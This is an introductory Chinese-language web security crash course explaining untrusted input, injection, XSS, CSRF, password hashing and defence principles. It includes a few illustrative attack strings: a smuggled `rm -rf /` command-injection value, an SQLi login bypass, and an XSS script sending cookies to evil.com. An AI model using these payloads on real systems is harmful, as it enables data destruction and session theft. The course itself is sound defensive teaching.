# 永远不要信任输入

关于 Web 安全基础的速成课:几乎每一个漏洞,都始于信任来自外部的数据。21 个概念——Trust Boundary、Injection、SQL Injection、XSS、CSRF、Hashing、Salt、Least Privilege、Defense in Depth、OWASP Top 10 等等——每个都配有英文名称、一幅图示、一张带例子的卡片,以及它与其他概念的关联。结尾附一页速查表,涵盖所有概念。

- **Author:** Fedor Chishchin
- **Level:** intro
- **Reading time:** ~30 分钟阅读
- **Published:** 2026-06-13
- **Source:** https://fedorthinks.com/zh/learn/web-security-express

---

## 1. 唯一的规则

在讲任何具体攻击之前,有一条原则就能防住其中的大多数。吃透这一个想法,这门课的其余部分不过是它在不同地方的应用。

### 地图:六组共 21 个概念

> 一张地铁线路图:先看整条线路,再一站一站地坐过去。

这门课分成六组。第一,**唯一的规则**:永远不要信任输入。然后是三种经典攻击:**Injection**(输入在服务器上变成代码)、**XSS**(输入在浏览器里变成脚本)和 **CSRF**(浏览器被骗以你的名义发出请求)。接着是如何存储**机密和密码**。最后是当有东西真的漏进来时,如何**限制损失**,外加实践。

_Diagram: 六组概念——各章依次展开(最后一组涵盖第 6 章和第 7 章)。_

### 如何阅读每个概念

> 一本护照:每个人的栏目都一样,所以很容易比较。

下面每个概念都按同一种方式讲:它的**英文名称**(你在文档里要搜索的术语)、一幅来自现实生活的画面、一张**图示**和一张**卡片**。攻击类卡片的栏目是*是什么*、_如何运作_、_例子_、_防御_、_关联_。防御与原则类卡片的栏目是*问题*、_思路_、_例子_、_代价_、_关联_。有一条主规则,你会在每张卡片里看到它:**输入是数据,绝不是代码**。

### Untrusted Input——所有外部输入都由攻击者控制

> 边境检查站把每一个到达的包裹都当作潜在危险品,检查之前不放行——不会因为东西看起来普通就放它们过去。

任何从外部进入你系统的东西——表单字段、URL、请求头、上传的文件、API 调用——都由发送它的人控制,而那个人可能是攻击者。他们可以发送任何东西,而不只是你的表单预期的内容。这个概念叫 **untrusted input**(不可信输入),规则是:**在你验证之前,把所有外部输入都当作有敌意的。** 这门课里几乎每个漏洞,说到底都是某个地方有人信任了不该信任的输入。

_Diagram: 攻击者控制着每一个入口:表单、URL、请求头、文件、API。_

#### Untrusted Input (外部输入)

- **问题:** 代码悄悄假定自己收到的恰好就是表单预期的内容。
- **思路:** 在你检查之前,所有外部输入都是有敌意的。
- **例子:** "姓名"字段收到的不是姓名,而是 SQL、一个 `<script>` 标签,或一个一兆字节长的字符串。
- **代价:** 你需要在每一个入口都做检查,而不是只在"某个地方"。
- **关联:** 在哪里检查——**Trust Boundary**;怎么检查——**Input Validation** 和 **Output Escaping**。

### Trust Boundary——检查要放在哪里

> 围住一栋建筑的墙,只有一道有人把守的门——里面可信,外面不可信,所有往里进的东西都在这条线上接受检查。

**Trust boundary**(信任边界)是外部世界与你的系统之间的那条线。向内跨过它的数据必须*在*这条边界上检查,因为一旦进了里面,你的代码往往就会把它当作安全的。经典的错误是只在客户端(浏览器)做验证,并以为这就够了——但攻击者完全绕过浏览器。**真正的安全检查发生在服务器上**,在你真正能控制的那条边界上。

_Diagram: 浏览器里的检查用一个脚本就能轻松绕过。真正的检查在服务器上,在 trust boundary 处。_

#### Trust Boundary (外部与内部)

- **问题:** 唯一的检查在浏览器里,而攻击者直接发送请求,绕过了它。
- **思路:** 画出"外部 / 内部"这条线,并在服务器上检查跨过它的一切。
- **例子:** JS 表单不接受负数金额,但用 `curl` 发送 `amount=-500` 照样能到达服务器。
- **代价:** 为了方便,你仍然想做客户端检查——这是重复劳动。
- **关联:** **Input Validation** 就在这里进行;客户端检查是为了方便,不是保护。

### Input Validation 与 Output Escaping——验证输入,转义输出

> 保安在门口查证件(谁进来),翻译确保你的话在下一个房间里不会被误读成命令(东西怎么出去)。是两份不同的活。

两个习惯就能挡住大多数攻击。**Input validation**:拒绝形状不符合预期的数据——类型不对、太长、格式错误。**Output escaping**:当你把数据放进另一个环境——数据库查询、HTML 页面、shell 命令——就把任何可能在那里被当作代码读取的东西无害化。下面几乎每一种攻击,都是不可信输入溜进了某个会被当作指令而不是数据来解释的地方。

_Diagram: 进入时——验证(形状不对 → 拒绝)。出去时——针对每种环境转义:SQL、HTML、shell。_

#### Input Validation (在边界处验证)

- **问题:** 任何形状、任何长度的数据都走进了系统。
- **思路:** 描述你预期的内容(类型、长度、格式),并在边界处拒绝其他一切。
- **例子:** `age` 是 0 到 150 的整数;`email` 符合格式且最长 254 个字符。
- **代价:** 验证并不能让输入在所有地方都安全——出去时你仍然需要 **Output Escaping**。
- **关联:** 在 **Trust Boundary** 处起作用;与 **Output Escaping** 搭配(第 3 章)。

> **整体性问题:** "外部数据从哪里进入我的系统?我是把它当作有敌意的——在边界处验证,并在每个使用处转义——还是在悄悄信任它?"

> 每一丝外部输入都由攻击者控制。在服务器的边界处验证它,并在每个使用处转义它。这一条规则就能防住大多数攻击。

## 2. Injection

危害最大的一类攻击,也是最容易理解的一类:不可信输入被当作代码。教科书式的例子是 SQL injection,它展示了整个模式。

### Injection——输入变成代码

> 一张请你填姓名的表格,有人在上面写下了一条指令——办事员把整行大声念出来,不小心就执行了那条指令。

当不可信输入被混进一条命令或查询并作为其中一部分被执行时,就发生了 **injection**。系统本想把你的输入当作*数据*,但输入被精心构造成了会被读作*代码*。这是 SQL、shell 命令等场景共有的同一个根本缺陷:"指令"与"用户数据"之间的边界从未被强制执行,于是攻击者提供了指令。

_Diagram: 你的指令和输入被粘成了一个字符串——解释器再也看不出代码在哪里结束、数据从哪里开始。_

#### Injection (代码注入)

- **是什么:** 不可信输入作为命令或查询的一部分被执行。
- **如何运作:** 代码把输入拼进一个字符串,解释器(SQL、shell……)把整串都执行了。
- **例子:** `os.system("ping " + host)`,而 `host` 传来的是 `8.8.8.8; rm -rf /`。
- **防御:** 把输入与代码分开传递——用参数,绝不用拼接。
- **关联:** 一个具体情形是 **SQL Injection**;在浏览器里的同一思路是 **XSS**。

### SQL Injection——经典案例

> 一张图书馆申请单,有人在书名栏里写道"……顺便把所有的门都打开"——自动化系统老老实实地两件事都做了。

在 **SQL injection** 中,攻击者在一个普通字段里输入数据库语法。如果你的代码通过把输入拼进字符串来构造查询,他们的输入就成了查询的一部分——让他们能读取其他用户的数据、绕过登录或删除数据表。几十年来,它一直是最常见、最严重的 Web 漏洞之一,而它完全来自用不可信输入做**字符串拼接**来构造查询。

_Diagram: 输入 ' OR '1'='1 把条件变成了“永远为真”——数据库返回了每个用户的行。_

#### SQL Injection (SQLi)

- **是什么:** 对数据库查询的 injection。
- **如何运作:** 查询被构造成 `"... WHERE name = '" + input + "'"`,输入改变了它的含义。
- **例子:** 在登录表单里输入 `' OR '1'='1`——条件永远为真,密码检查被绕过。
- **防御:** **Parameterized Query**——每一次都用,没有例外。
- **关联:** **Injection** 中最著名的一种;在 **OWASP Top 10** 中归入 Injection。

### Parameterized Query——解决办法

> 一张带有上锁、贴了标签的格子的表格:不管你在"姓名"格里写什么,它都只会被当作姓名,绝不会成为表格指令的一部分。

解药是 **parameterized query**(参数化查询,也叫 prepared statement)。你用占位符写好查询,再把用户输入单独传进去。数据库先解析查询的结构,之后才把数据填进空位——所以输入永远是数据,绝不会变成 SQL。输入可以是你能想象到的最恶毒的字符串,它也改变不了查询的结构。**永远不要通过把输入拼进字符串来构造查询**——每一次都用参数,SQL injection 就根本不可能发生。

_Diagram: 查询和数据分开传送:输入只会落进空位 $1,改变不了查询的形状。_

#### Parameterized Query (prepared statement)

- **问题:** 字符串拼接让输入成了 SQL 的一部分。
- **思路:** 先给出带占位符的查询形状,然后再单独给数据。
- **例子:** `db.query("SELECT * FROM users WHERE name = $1", [input])`
- **代价:** 几乎没有。要注意:表名和列名不能作为参数——要从白名单里取。
- **关联:** 能根治 **SQL Injection**;ORM 和查询构建器会替你做——只要你不绕开它们。

> **Injection 的问题:** "我有没有把不可信输入直接拼进查询或命令?还是每一份输入都作为参数传递,只可能是数据?"

> Injection 就是不可信输入被当作代码执行。SQL injection 是经典案例,而参数化查询——输入作为数据传递,绝不拼接——就是解药。

## 3. 跨站脚本

如果说 injection 是输入在服务器上变成代码,那么跨站脚本就是输入在浏览器里变成代码。它把你自己的页面变成了对付你用户的武器。

### XSS——输入在浏览器里变成脚本

> 一块社区公告栏,有人钉上了一张做过手脚的字条,任何读到它的人口袋都会被悄悄掏空——危险是由那块受信任的公告栏自己送出去的。

**跨站脚本**(XSS)指攻击者让他们的 JavaScript 在另一个用户的浏览器里、在你的网站上运行。如果你拿到用户输入——一条评论、一个名字、一份个人资料——就直接放进页面,攻击者就可以提交一个 `<script>` 而不是文本,它会对每个查看该页面的人运行。他们的代码现在以你用户的会话身份行事:窃取 cookie、冒充他们、篡改页面。

_Diagram: 攻击者留下一条带脚本的评论,你的网站把它展示给别人,他们浏览器里的脚本把 cookie 发给攻击者。_

#### XSS (Cross-Site Scripting)

- **是什么:** 别人的 JavaScript 在你用户的浏览器里、在你的网站上运行。
- **如何运作:** 输入没有转义,就作为 HTML 放到了页面上。
- **例子:** 评论 `<script>fetch('//evil.com?c='+document.cookie)</script>` 窃取了每位读者的会话。
- **防御:** **Output Escaping** + **Content Security Policy**。
- **关联:** 与 **Injection** 是同一个思路,只不过代码在浏览器里运行。

### 为什么 XSS 如此危险——它带着你网站的信任运行

> 一个穿着可信制服的冒名者:人们服从是因为信任制服——你网站的域名——而不是穿制服的那个人。

恶意脚本*以你的网站身份*运行,带着用户对你域名的全部信任。它能读取用户看到的内容、以用户身份行事,并把用户的数据发给攻击者。浏览器没有办法知道这段脚本不是你的——它来自你的页面。这就是为什么"这只是个评论框"是名言般的最后遗言:**用户输入能到达页面的任何一处,都可能是 XSS 漏洞**。

_Diagram: 在同一个网站内,你的脚本和被注入的脚本拥有相同的权力:cookie、页面内容、以用户身份调用 API。_

### Output Escaping 与 Content Security Policy——防御 XSS

> 一位翻译把每位来宾的话都以纯文本显示在屏幕上——所以即使有人喊出一条命令,它也只是显示成无害的引用文字,不是任何人会去执行的命令。

核心的修复是 **output escaping**:当你把用户数据放进 HTML 时,把 `<` 和 `>` 这样的字符转换成无害的显示文本,让它们作为内容呈现,绝不作为标记执行。现代框架默认就会这么做,所以你应该让它们做。再叠加一层 **Content Security Policy(CSP)**——一条限制哪些脚本可以运行的浏览器规则——作为第二道防线。把到达页面的一切都当作不可信的,并在输出时将其无害化。

_Diagram: 左:转义把标签变成纯文本。右:CSP 只允许来自你自己网站的脚本。_

#### Output Escaping (output encoding)

- **问题:** 页面上的输入被浏览器当作标记和代码来读取。
- **思路:** 在输出前,按所处环境的规则,把危险字符变成安全文本。
- **例子:** `<script>` 变成 `&lt;script&gt;`,只是显示在屏幕上。
- **代价:** 你必须按环境分别转义(HTML、属性、URL、JS);绕过框架的"原始 HTML"会破坏保护。
- **关联:** 防御 **XSS** 的主要手段;"验证输入,转义输出"的后半句。

#### Content Security Policy (CSP)

- **问题:** 某个地方忘了转义——于是一段外来的脚本运行了。
- **思路:** 网站通过一个响应头告诉浏览器哪些脚本是允许的。
- **例子:** `Content-Security-Policy: script-src 'self'`——阻止内联脚本和其他域名的脚本。
- **代价:** 需要调整和测试:严格的策略可能会弄坏第三方小组件。
- **关联:** 对付 **XSS** 的第二道防线——**Defense in Depth** 的一个例子。

> **XSS 的问题:** "用户输入到达页面的每一处,它是不是都已转义,从而作为文本显示——还是一段精心构造的输入可能在我用户的浏览器里作为脚本运行?"

> XSS 就是不可信输入作为脚本,带着你网站的信任,在你用户的浏览器里运行。转义一切到达页面的内容,并加上 Content Security Policy。

## 4. 跨站请求伪造

下一种攻击不注入任何东西——它利用的是浏览器自己的习惯:给每个请求都附上你的凭据,骗它违背你的意图、以你的名义行事。

### CSRF——你的浏览器被骗去行动

> 有人在表格上伪造你的签名,再用你的地址寄出——银行看到一张有效的、由你签署的请求就处理了,根本不知道那不是你写的。

**跨站请求伪造**(CSRF)利用的事实是:浏览器会自动把你的 cookie——包括你已登录的会话——附加到发往某个网站的任何请求上。攻击者在他们自己的恶意页面里放一个发往你银行的隐藏请求;当你登录着银行的时候访问它,你的浏览器就会发送这个请求,_并附上你的会话_,银行就以为那是你的本意。你被迫行动,却从未做过选择。

_Diagram: 你登录了银行,然后打开了 evil.com——它的隐藏表单向银行发送一笔转账,浏览器自己附上了你的 cookie。_

#### CSRF (Cross-Site Request Forgery)

- **是什么:** 另一个网站让你的浏览器带着你的会话发出一个请求。
- **如何运作:** 无论请求从哪里发起,浏览器都会把 cookie 附加到发往某个网站的请求上。
- **例子:** 在 evil.com 上,一个带有 `POST bank.com/transfer?to=attacker` 的隐藏表单会自动提交。
- **防御:** **CSRF Token** + **SameSite Cookie**。
- **关联:** **Confused Deputy** 的一个具体情形。

### Confused Deputy——被蒙蔽的代理人问题

> 一位拿着钥匙的可信助手,被一张伪造的字条骗得打开了金库——助手本来就有权限,却被骗去为别人使用它。

CSRF 是一种 **confused deputy**(被蒙蔽的代理人)攻击:你的浏览器握有真正的权限(你的会话),却被骗去为攻击者行使它。服务器分辨不出区别,因为这个请求看起来和一个真实的请求一模一样——同样的 cookie,同样的用户。缺陷不在于凭据被盗,而在于一个有效请求是由你以外的人触发的,而且**没有任何东西证明你的意图**。

_Diagram: 攻击者没有任何权限——他们骗的是有权限的那一方(浏览器),而银行看到的是一个有效的 cookie。_

#### Confused Deputy (权限被滥用)

- **是什么:** 一个拥有权限的程序,被骗去按别人的请求使用它。
- **如何运作:** 服务器只检查"是谁"(cookie),不检查"他们是不是本意如此"。
- **例子:** 你的浏览器带着你的会话,提交了一个由 evil.com 埋下的表单。
- **防御:** 要求提供意图的证明,而不只是权限的存在。
- **关联:** **CSRF** 是最著名的例子;用 **CSRF Token** 和 **SameSite** 来解决。

### CSRF Token 与 SameSite Cookie——证明意图

> 一家银行要求每笔转账都带上一个一次性验证码,这个码只印在你自己的对账单上——从别处伪造的请求拿不到它,所以被拒绝。

修复办法是要求证明这个请求是*你的*页面发出的。**CSRF token** 是你的网站嵌入自己表单里、并在提交时检查的一个秘密值;攻击者的页面不可能知道它,所以伪造的请求会失败。现代的补充手段是 **SameSite** cookie 属性,它告诉浏览器不要在来自其他网站的请求上发送你的会话 cookie。两者结合,就能确保一个敏感操作来自你的网站,出于你的意图。

_Diagram: 来自你页面的表单带着 token,通过;来自 evil.com 的表单不知道它,浏览器也不会附上 cookie——403。_

#### CSRF Token (anti-CSRF token)

- **问题:** 服务器分不清你的表单和伪造的表单。
- **思路:** 你网站的每个表单里都放一个秘密;只有秘密匹配,服务器才接受请求。
- **例子:** 一个隐藏字段 `<input name="csrf" value="a8f3…">`,与会话核对。
- **代价:** 每一个会修改数据的表单和请求都要加上它。
- **关联:** 防御 **CSRF**;框架通常会替你做。与 **SameSite Cookie** 搭配。

#### SameSite Cookie (cookie 属性)

- **问题:** 浏览器会把 cookie 附加到来自任何网站的请求上。
- **思路:** 给会话 cookie 做标记,让浏览器不在跨站请求上发送它。
- **例子:** `Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly`
- **代价:** 是补充,而不是 token 的替代品:它取决于浏览器和设置。
- **关联:** 与 **CSRF Token** 一起堵死 **CSRF**——又是 **Defense in Depth**。

> **CSRF 的问题:** "对会修改数据的操作,我是在证明请求来自我自己的网站、出于用户的意图——靠 token 和 SameSite cookie——而不是只信任附带的会话?"

> CSRF 骗你的浏览器带着你的会话发出一个请求。用 CSRF token 和 SameSite cookie 来证明意图,让伪造的跨站请求被拒绝。

## 5. 存储密码与机密

有些数据极其敏感,以至于你怎么存储它本身就是一个安全决策。密码是经典例子,它还揭示了人们总是混淆的两个词之间的区别。

### Plaintext Passwords——绝不要以纯文本存储密码

> 把所有人的家门钥匙清单放在前台一个没上锁的抽屉里——一次入侵,家家户户门户大开。这份方便就是灾难。

如果你把密码存成可读的文本(**plaintext**),那么任何拿到你数据库的人——通过入侵、泄露、内部人员——立刻就拿到了每个用户的密码。而且因为人们会重复使用密码,你连他们的其他账号也一并拖下了水。以纯文本存储密码,是 Web 安全中最严重也最基本的错误之一。这种数据太危险,不能以你能读懂的形式保存。

_Diagram: 纯文本密码:一次泄露,所有密码都可读——连同人们重复使用它们的其他账号。_

### Hashing vs Encryption——hashing 是单向的,encryption 是双向的

> 碎纸机对比上锁的盒子:盒子可以重新打开、拿回原件,而碎纸机把纸变成再也拼不回去的纸屑——但同一张纸每次碎出来都一样。

这是必须弄清的区别。**Encryption**(加密)是可逆的:有了密钥,你就能把打乱的数据还原成原文。把它用在你必须再次读取的数据上,比如存起来的 API 密钥。**Hashing**(哈希)是单向的:它把输入变成一个定长的指纹,这个指纹无法反推回输入,但相同的输入总是产生相同的指纹。它们解决的是不同的问题,把二者混淆是个经典错误。

_Diagram: 加密:有密钥就能拿回原文。哈希:只能比较指纹——没有回头路。_

#### Hashing vs Encryption (单向 vs 双向)

- **加密:** 双向:有密钥就能读回来。
- **哈希:** 单向:指纹无法反推,只能比较。
- **例子:** 合作伙伴的 API 密钥——加密它(请求里要用到它)。密码——哈希它(你只需要校验它)。
- **陷阱:** "加密的密码"是个错误:密钥一被偷,每个密码都能被读出来。
- **关联:** 对密码来说——用 **Salt** 加慢速算法做哈希。

### Salt 与慢哈希——正确地存储密码

> 检查一枚蜡封:你不需要原信就能验证它——只要重新盖一次章,比对印痕。你无需存储秘密本身,就能确认匹配。

你对密码做 **hash**,是因为你其实从来不需要把密码取回来——你只需要校验它。存储哈希;登录时,对用户输入的内容做哈希再比较。一次泄露泄露的是指纹,不是密码。再加一个 **salt**——每个密码独有的随机值——让相同的密码得到不同的哈希,预先计算好的攻击表就会失效。并且使用**专为密码设计的慢速哈希**(如 **bcrypt** 或 **Argon2**),绝不用快速的通用哈希,这样猜测的成本就很高。

_Diagram: Anna 和 Bob 的密码相同但 salt 不同——所以哈希也不同。慢速的 bcrypt/Argon2 让猜测代价高昂。_

#### Salted Password Hashing (salt + bcrypt / Argon2)

- **问题:** 快速且不加盐的哈希:相同的密码一眼就能看出,猜测和预先计算的表都管用。
- **思路:** 每个密码一个独有的 salt + 一个刻意放慢的密码算法。
- **例子:** 注册时:`hash = argon2(password, salt)`。登录时:用同一个 salt 对输入做哈希再比较。
- **代价:** 登录会稍慢一点——这正是目的:对攻击者来说慢得多。
- **关联:** **Hashing** 的一种应用;像 **Defense in Depth** 一样限制泄露造成的损失。

> **存储的问题:** "对每个敏感值,我是需要读回它(加密),还是只需要校验它(哈希)——密码是不是用专为此设计的慢速算法、加了 salt 做哈希?"

> 绝不要以纯文本存储密码。加密对你必须读回的数据是可逆的;哈希对你只需校验的数据是单向的——对密码做哈希,要加盐,并用慢速算法。

## 6. 最小权限与纵深

在具体攻击之外,还有一些原则,用来限制有东西漏进来时的损失——因为在安全领域,你要假定迟早会有东西漏进来。

### Least Privilege——只给完成工作所需的最小访问权限

> 一张酒店房卡,只能打开你的房间和健身房——而不是楼里的每一扇门。就算丢了,损失也被限制在它能打开的范围内。

**Least privilege**(最小权限)意味着每个用户、服务和凭据只获得完成其工作所需的最小访问权限——不多给。你的 Web 应用使用的数据库账号,如果只读写数据行,就不该能删除数据表。这样,当某个部分被攻破时——并且要假定它会被攻破——**blast radius**(爆炸半径)就很小,受限于那一个部分被允许做的事。过宽的权限会把一次小的入侵变成全面失守。

_Diagram: 应用的账号只能读写数据行——即使应用被攻破,也没人能删除数据表或触及其他数据库。_

#### Least Privilege (最小权限原则)

- **问题:** 一个被攻破的部分获得了对一切的访问权。
- **思路:** 只给每个部分它的工作所需的最小权限。
- **例子:** 应用的数据库用户:对自己的表只有 `SELECT, INSERT, UPDATE`,没有 `DROP`,不是超级用户。
- **代价:** 权限需要思考和维护;"直接给管理员权限"永远更省事。
- **关联:** **Defense in Depth** 的一层;在 **OWASP** 里对应 Broken Access Control。

### Defense in Depth——层层设防,而不是一堵墙

> 一座有护城河、城墙、城门和守卫的城堡——没有哪一道屏障被指望做到完美,所以每一道都拦住上一道漏过的东西。

**Defense in depth**(纵深防御)意味着叠加相互独立的保护,让一次失败不至于致命。验证输入,*并且*使用参数化查询,*并且*以最小权限运行,*并且*转义输出。任何单一控制都可能失效或被绕过;合在一起,就让彻底攻破需要同时打败它们全部。安全不是一堵完美的墙——而是**相互重叠的普通控制**,每一个都假定其他的可能会失效。

_Diagram: 攻击必须依次穿过每一层:验证、参数、转义、最小权限。_

#### Defense in Depth (分层安全)

- **问题:** 单独一道防御总有一天会失效——到那时一切都敞开了。
- **思路:** 多个相互独立的层,每一层拦住另一层漏过的东西。
- **例子:** 某个模板里忘了转义——但 CSP 阻止了脚本运行。
- **代价:** 更多的设置和检查;有些工作是故意"重复"的。
- **关联:** 把 **Input Validation**、**Parameterized Query**、**Output Escaping**、**CSP**、**Least Privilege** 串在一起。

### Information Leakage——别在错误信息里泄露线索

> 一扇上了锁的门,被摇动时还热心地宣布"钥匙不对——正确的那把是黄铜的,有点弯"——正好告诉入侵者该怎么进来。

冗长的错误信息和说得太多的响应等于给攻击者递了一张地图。这叫 **information leakage**(信息泄露)。一个提示"密码错误"(而不是"没有这个用户")的登录,会确认哪些账号存在;一份堆栈跟踪会暴露你的框架、版本和查询结构。给用户显示通用的提示,把细节私下记入日志,并且绝不返回超出客户端所需的数据。安静地失败不只是整洁:它让攻击者拿不到使下一步变容易的侦察信息。

_Diagram: 左边,响应暴露了哪些账号存在以及里面有什么。右边——给用户的是通用提示,细节写进私有日志。_

#### Information Leakage (information disclosure)

- **是什么:** 错误信息和响应告诉攻击者系统是如何构建的。
- **例子:** "没有这个用户"与"密码错误"的区别;带有 `db.py:42` 和数据库版本的堆栈跟踪。
- **防御:** 通用的提示("邮箱或密码无效"),细节写进日志,响应里只放需要的字段。
- **陷阱:** 调试模式在生产环境里被不小心开着。
- **关联:** 属于 **OWASP Top 10**——Security Misconfiguration;**Defense in Depth** 的又一层。

> **控制损失的问题:** "如果这一个组件被攻破,攻击者能走多远——我是不是在用最小权限、分层防御,以及不泄露线索的错误信息来限制它?"

> 假定总会有东西漏进来。最小权限限定损失,纵深防御让任何单一失败都不致命,而安静的错误信息让攻击者拿不到地图。

## 7. 用好它 + 速查表

安全是贯穿你构建方式的一种实践,而不是最后才拧上去的一个功能。需要养成的习惯不多,而且大多数都是那唯一的规则被一丝不苟地执行。

### Secure Defaults 与 Patching——依靠框架并保持更新

> 你不会自己锻造锁——你会装上久经考验的锁,并在公布漏洞时更换它。自己造锁,只会得到一把更差的锁。

大多数经典攻击已经被成熟的框架和库解决了:它们替你转义输出、参数化查询、处理 CSRF token——前提是你按预期使用它们,而不是绕开它们。这些就是 **secure defaults**(安全默认值)。又因为依赖库里不断有漏洞被发现,所以要**保持它们更新(patching)**;没打补丁的库是最常见的入侵途径之一。不要自己发明加密,也不要自己发明转义——使用经过审查的工具,并保持更新。

#### Secure Defaults + Patching (框架防护与更新)

- **问题:** 自制的加密和转义存在漏洞;老旧的库带有已知漏洞。
- **思路:** 按预期使用框架内置的保护,并定期更新依赖。
- **例子:** 模板引擎自己转义;ORM 做参数化;像 Dependabot 这样的机器人提议更新。
- **代价:** 更新需要测试;绕开框架("原始" HTML/SQL)会破坏保护。
- **关联:** "免费"给你 **Output Escaping**、**Parameterized Query**、**CSRF Token**。

### OWASP Top 10——最常见漏洞的地图

> 飞行前检查清单之所以存在,是因为同样的少数几个故障造成了大多数坠机——你每次都检查它们,而不是在空中重新发现它们。

你不必去想象每一种威胁。**OWASP Top 10** 是业界列出的最常见、最严重的 Web 漏洞清单——injection、broken access control 等等——它同时也是一份检查清单。拿你的应用对照它走一遍,你就能抓住造成绝大多数真实入侵的那些类别。使用一张已知的地图,胜过指望自己什么都想到了。

_Diagram: 这门课里几乎所有内容都能对应到 OWASP Top 10 的类别。_

#### OWASP Top 10 (最常见的 Web 漏洞)

- **是什么:** 业界对最常见、最危险的几类 Web 漏洞的排名。
- **如何使用:** 当作检查清单:拿每个类别对照你自己的应用走一遍。
- **例子:** Injection 类别——检查每个查询都已参数化、输出都已转义。
- **陷阱:** 它是最低要求,不是安全的全面保证。
- **关联:** 把整门课串起来,从 **Injection** 到 **Least Privilege**。

### 一切如何相连

> 一座房子靠一把锁、一个警报器和一个保险箱同时保护——而不是靠"唯一正确的措施"。

中心是一条规则——**永远不要信任输入**,在 trust boundary 处检查。从它长出三道防御,对付三种攻击:对付 Injection 用**参数化查询**,对付 XSS 用**转义和 CSP**,对付 CSRF 用 **token 和 SameSite**。而当有东西真的漏进来时:**加盐哈希**(泄露不会交出密码)、**least privilege**(一个被攻破的部分不会交出一切)和 **defense in depth**(一层失效不致命)。在这一切之上——**OWASP Top 10** 作为检查清单。

_Diagram: 中心是一条规则,三道防御对付三种攻击,三条原则应对有东西漏进来的情况,而 OWASP Top 10 是整体的检查清单。_

#### 发布一个 Web 功能之前

- **外部输入从哪里进入**,是否已在服务器的边界处验证?
- **查询**——是否参数化,从不通过拼接输入来构造?
- **输出到页面**——是否已转义,让用户输入无法作为脚本运行?
- **会修改状态的操作**——是否用 token 和 SameSite 防护了 CSRF?
- **敏感数据**——密码是否加盐哈希,机密是否从不以纯文本存放?
- **Least privilege**——每个部分是否只拥有它所需的访问权限?

#### 你在安全地构建的迹象

- 你把**所有外部输入都当作有敌意的**,在服务器的边界处检查。
- 查询是**参数化**的,页面输出是**转义**的——默认通过框架完成。
- 会修改状态的请求带有 **CSRF token**,cookie 是 **SameSite** 的。
- 密码经过**哈希并加盐**;没有任何敏感数据以纯文本存储。
- 每个部分都以**最小权限**运行,依赖保持**已打补丁**,并且你对照 **OWASP Top 10** 做检查。

## 速查表:全部 21 个概念

### 唯一的规则

- **Untrusted Input** (外部输入): 一切来自外部的东西都由攻击者控制。检查之前都是有敌意的。
- **Trust Boundary** (外部与内部): "外部 / 内部"这条线。检查就放在它上面,在服务器上,而不是在浏览器里。
- **Input Validation** (在边界处验证): 拒绝任何形状不对的东西:类型、长度、格式。

### Injection

- **Injection** (代码注入): 输入被拼进命令并作为代码执行。
- **SQL Injection** (SQLi): 对数据库查询的 injection:`' OR '1'='1`,数据库就把一切都交了出来。
- **Parameterized Query** (prepared statement): 查询和数据分开传送——输入永远是数据。

### XSS

- **XSS** (Cross-Site Scripting): 一段外来的脚本在用户的浏览器里,带着你网站的信任。
- **Output Escaping** (output encoding): `<` → `&lt;`:输入作为文本显示,绝不执行。
- **Content Security Policy** (CSP): 一个响应头,说明浏览器可以运行哪些脚本。第二道防线。

### CSRF

- **CSRF** (Cross-Site Request Forgery): 另一个网站通过你的浏览器、带着你的 cookie 发出请求。
- **Confused Deputy** (权限被滥用): 握有权限的一方被骗去为别人使用它。
- **CSRF Token** (anti-CSRF token): 你表单里的一个秘密:伪造的请求不知道它。
- **SameSite Cookie** (cookie 属性): 浏览器不会把 cookie 附加到跨站请求上。

### 密码与机密

- **Plaintext Passwords** (反模式): 一次泄露——所有密码,外加人们重复使用它们的其他账号。
- **Hashing vs Encryption** (单向 vs 双向): 哈希是单向的,只能比较。加密可以用密钥读回来。
- **Salted Password Hashing** (salt + bcrypt / Argon2): 每个密码一个 salt + 一个慢速算法:猜测代价高昂。

### 控制损失与实践

- **Least Privilege** (最小访问权限): 最小权限——爆炸半径很小。
- **Defense in Depth** (分层安全): 多个相互独立的层;没有任何单一失败是致命的。
- **Information Leakage** (information disclosure): 给用户通用的提示,细节写进私有日志。
- **Secure Defaults + Patching** (框架与更新): 按预期使用框架的保护,并保持依赖更新。
- **OWASP Top 10** (漏洞地图): 业界列出的最常见漏洞清单——把它当作检查清单来用。

> Web 安全主要就是一条规则被一丝不苟地执行:永远不要信任输入。在边界处验证,在输出时转义,安全地存储机密,并层层设防,以备有东西漏过。

速成课结束 · 7 章 · 21 个概念

接下来是实践:拿你做过的东西里的一个表单,把它的输入一路追踪到底——它在服务器上验证了吗?进入任何查询时参数化了吗?在页面上显示回来时转义了吗?然后试试攻击者的视角:如果字段里含有 `<script>` 标签、SQL 语法或一个引号,会发生什么?一旦你亲眼看到自己的输入到达了一个可能被误读为代码的地方,这些道理就变得具体了。但要把一个想法放在所有想法之上:永远不要信任输入。几乎每一个 Web 漏洞,都是这条规则在某一处被忘记了——而几乎每一种防御,都是这条规则被认真地执行。
